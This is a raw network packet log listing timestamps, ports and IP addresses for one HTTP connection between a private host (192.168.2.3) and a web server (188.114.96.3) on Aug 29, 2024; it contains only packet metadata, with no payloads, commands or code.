Aug 29, 2024 12:14:38.793555975 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793566942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793579102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793579102 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793591022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793603897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793607950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793616056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793627024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793652058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793656111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793664932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793675900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793684006 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793684006 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793689013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793700933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793700933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793714046 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793728113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793728113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793760061 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793832064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793903112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.793951035 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.793979883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794029951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794044971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794056892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794068098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794085026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794107914 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794198990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794210911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794225931 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794229031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794233084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794241905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794255972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794265985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794286966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794317007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794393063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794404984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794414997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794428110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794430017 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794440985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794441938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794454098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794465065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794466019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794478893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794487000 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794513941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794528008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794655085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794666052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794676065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794687033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794687986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794702053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794707060 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794715881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794728041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794727087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794742107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794751883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794763088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794791937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794945002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794955969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794965029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794976950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.794986963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.794990063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795001984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795013905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795013905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795027018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795030117 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795052052 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795080900 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795334101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795346022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795361042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795377970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795387030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795389891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795399904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795403957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795416117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795425892 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795433044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795449018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795448065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795459986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795469046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795499086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795504093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795536995 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795595884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795608044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795618057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795629978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795633078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795641899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795651913 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795654058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795675993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795701981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795728922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795744896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795752048 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795762062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795768023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795773029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795784950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795784950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795799017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795808077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795830011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795836926 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795852900 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795933008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795942068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795953989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795964003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795977116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.795985937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.795989990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796003103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796011925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796037912 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796061993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796241999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796255112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796264887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796276093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796283007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796289921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796298981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796303988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796315908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796328068 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796333075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796348095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796367884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796457052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796592951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796606064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796618938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796634912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796648026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796665907 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796686888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796756029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796768904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796780109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796792030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.796803951 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.796833038 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.797017097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797029018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797038078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797050953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797060013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.797069073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797080040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797080994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.797100067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797102928 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.797112942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797123909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797131062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.797139883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797152996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797163010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.797164917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.797187090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.797205925 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886074066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886100054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886113882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886126041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886137962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886148930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886161089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886173010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886192083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886204004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886214972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886224985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886238098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886250019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886260033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886261940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886274099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886281013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886287928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886301041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886311054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886342049 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886348009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886507034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886518955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886529922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886542082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886548042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886555910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886599064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886666059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886677027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886687994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886694908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886701107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886713028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886723995 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886729002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886740923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886746883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886753082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886758089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886765003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886778116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886780977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886794090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886795998 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886805058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886817932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886820078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886833906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886847019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886857986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.886859894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886873007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.886898994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887108088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887120962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887130976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887144089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887151003 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887156010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887171984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887177944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887190104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887197018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887201071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887212992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887222052 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887223959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887231112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887237072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887248039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887258053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887259960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887269974 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887281895 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887284994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887294054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887305021 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887309074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887320995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887326002 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887334108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887341976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887347937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887362957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887367964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887375116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887379885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887387991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887399912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.887412071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.887428045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888252020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888262987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888274908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888302088 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888318062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888372898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888386011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888397932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888408899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888411045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888421059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888439894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888463020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888510942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888523102 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888535976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888549089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888556957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888567924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888580084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888583899 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888622999 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888753891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888765097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888776064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888787985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888797998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888801098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888811111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888823032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888829947 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888838053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888859987 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888891935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888904095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888914108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888925076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888935089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888936996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888950109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888959885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.888963938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888974905 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.888991117 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889130116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889142036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889152050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889164925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889168024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889179945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889203072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889214039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889225960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889236927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889249086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:38.889260054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889270067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:38.889297009 CEST	62660	80	192.168.2.3	188.114.96.3
